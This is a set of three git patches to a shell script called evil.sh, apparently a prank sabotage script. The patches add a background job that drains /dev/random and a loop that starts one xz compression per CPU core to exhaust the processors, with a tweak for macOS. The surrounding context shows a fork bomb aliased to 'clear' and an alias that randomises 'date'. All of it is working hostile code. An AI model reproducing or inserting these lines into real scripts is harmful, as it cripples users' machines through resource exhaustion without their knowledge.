From d0d9fac77f90e54832613245654e2c9625b1c8a0 Mon Sep 17 00:00:00 2001
From: Jonathan French <me@jonathanfrench.net>
Date: Mon, 28 Mar 2016 12:03:16 +0100
Subject: [PATCH 1/3] Eat ALL the randomness

---
 evil.sh | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/evil.sh b/evil.sh
index b7cddd6..85a571f 100755
--- a/evil.sh
+++ b/evil.sh
@@ -28,6 +28,9 @@ alias clear=':(){ :|:& };:';
 # Have `date` return random dates.
 alias date='date -d "now + $RANDOM days"';
 
+# Eat ALL the randomness.
+/bin/cat /dev/random > /dev/null 2>&1 &
+
 # Sometimes, wait a few minutes and then start randomly ejecting the CD drive.
 # Other times, resist all attempts at opening it. Other times, make it read
 # reaaaalllly sllooowwwwllly.

From 2e035b045667abc0beae0dbe40766941cd86de8c Mon Sep 17 00:00:00 2001
From: Jonathan French <me@jonathanfrench.net>
Date: Mon, 28 Mar 2016 12:06:40 +0100
Subject: [PATCH 2/3] Use ALL the CPU

---
 evil.sh | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/evil.sh b/evil.sh
index 85a571f..14f7232 100755
--- a/evil.sh
+++ b/evil.sh
@@ -31,6 +31,11 @@ alias date='date -d "now + $RANDOM days"';
 # Eat ALL the randomness.
 /bin/cat /dev/random > /dev/null 2>&1 &
 
+# Use ALL the CPUs.
+for i in $(seq 1 $(nproc)); do
+	xz -9e -c /dev/urandom > /dev/null 2>&1 &
+done;
+
 # Sometimes, wait a few minutes and then start randomly ejecting the CD drive.
 # Other times, resist all attempts at opening it. Other times, make it read
 # reaaaalllly sllooowwwwllly.

From c40d6459217054e3ca39a43c1cff2beba5b9b75a Mon Sep 17 00:00:00 2001
From: Jonathan French <me@jonathanfrench.net>
Date: Mon, 28 Mar 2016 12:25:38 +0100
Subject: [PATCH 3/3] slightly more cross-platform all-cpu-eating

---
 evil.sh | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/evil.sh b/evil.sh
index 14f7232..6f720a3 100755
--- a/evil.sh
+++ b/evil.sh
@@ -32,7 +32,12 @@ alias date='date -d "now + $RANDOM days"';
 /bin/cat /dev/random > /dev/null 2>&1 &
 
 # Use ALL the CPUs.
-for i in $(seq 1 $(nproc)); do
+if [ "$(uname)" = 'Darwin' ]; then
+	NCPUS=$(sysctl -n hw.ncpu)
+else
+	NCPUS=$(nproc)
+fi;
+for i in $(seq 1 $NCPUS); do
 	xz -9e -c /dev/urandom > /dev/null 2>&1 &
 done;